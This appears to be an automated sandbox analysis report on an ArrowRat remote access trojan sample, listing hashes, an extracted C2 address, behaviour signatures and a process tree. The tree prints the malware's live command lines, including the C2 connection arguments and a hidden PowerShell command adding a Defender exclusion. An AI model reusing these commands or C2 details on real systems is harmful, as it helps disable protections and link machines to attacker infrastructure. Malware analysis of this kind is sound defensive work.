Overview

overview

10

Static

static

10

3dbd106573...fb.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    62s
  • max time network
    69s
  • platform
    windows11-21h2_x64
  • resource
    win11-20231215-en
  • resource tags

    arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/02/2024, 19:47

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General

  • Target

    3dbd1065734c9b3e603bc2a81dbadb77beeb54c6a918a6a4ae0687659ac3c0fb.exe

  • Size

    138KB

  • MD5

    7da02064216481c00e88ca35db73c247

  • SHA1

    99983e91bc7511fcb650c31c26a33b581e242913

  • SHA256

    3dbd1065734c9b3e603bc2a81dbadb77beeb54c6a918a6a4ae0687659ac3c0fb

  • SHA512

    df61e4e5226cf035592ec464b68452507df4178edac853329cda8e0fe06102f8eae65bd9d7a6b68d835e2d7ef4ed3748ccd8bc1ed918eb2a85fb9788e5aafae6

  • SSDEEP

    3072:LbvJ5mz7Bqh1v59Y08mAjs0Ltel+qOeJHlpV8b+Y/YK:Lbv3S7BqjjYHdrqkL/

Score
10/10
arrowrat9g7dxwpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

9G7DXW

C2

51.178.165.162:1338

Mutex

Q2909Q

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\3dbd1065734c9b3e603bc2a81dbadb77beeb54c6a918a6a4ae0687659ac3c0fb.exe
    "C:\Users\Admin\AppData\Local\Temp\3dbd1065734c9b3e603bc2a81dbadb77beeb54c6a918a6a4ae0687659ac3c0fb.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4112
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4208
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 9G7DXW 51.178.165.162 1338 Q2909Q
      2⤵
        PID:4860
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2340
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\TX98E1\4RUF2A.exe'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3780
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4236

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1bqhivsj.hif.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/3780-22-0x00000214E8CB0000-0x00000214E8CC0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3780-34-0x00007FFE0CB50000-0x00007FFE0D612000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3780-31-0x00000214E8CB0000-0x00000214E8CC0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3780-14-0x00000214E8690000-0x00000214E86B2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3780-19-0x00007FFE0CB50000-0x00007FFE0D612000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3780-20-0x00000214E8CB0000-0x00000214E8CC0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4112-2-0x00007FFE0CB50000-0x00007FFE0D612000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4112-0-0x000001AA7C0B0000-0x000001AA7C0D8000-memory.dmp

      Filesize

      160KB

      Download

    • memory/4112-23-0x00007FFE0CB50000-0x00007FFE0D612000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4860-6-0x0000000004BD0000-0x0000000004C6C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/4860-24-0x0000000004D80000-0x0000000004D90000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4860-15-0x00000000054A0000-0x0000000005A46000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/4860-25-0x00000000052E0000-0x0000000005346000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4860-5-0x0000000004A90000-0x0000000004B22000-memory.dmp

      Filesize

      584KB

      Download

    • memory/4860-28-0x0000000005BA0000-0x0000000005BF0000-memory.dmp

      Filesize

      320KB

      Download

    • memory/4860-4-0x0000000074490000-0x0000000074C41000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4860-1-0x0000000000400000-0x0000000000416000-memory.dmp

      Filesize

      88KB

      Download

    • memory/4860-36-0x0000000074490000-0x0000000074C41000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4860-37-0x0000000004D80000-0x0000000004D90000-memory.dmp

      Filesize

      64KB

      Download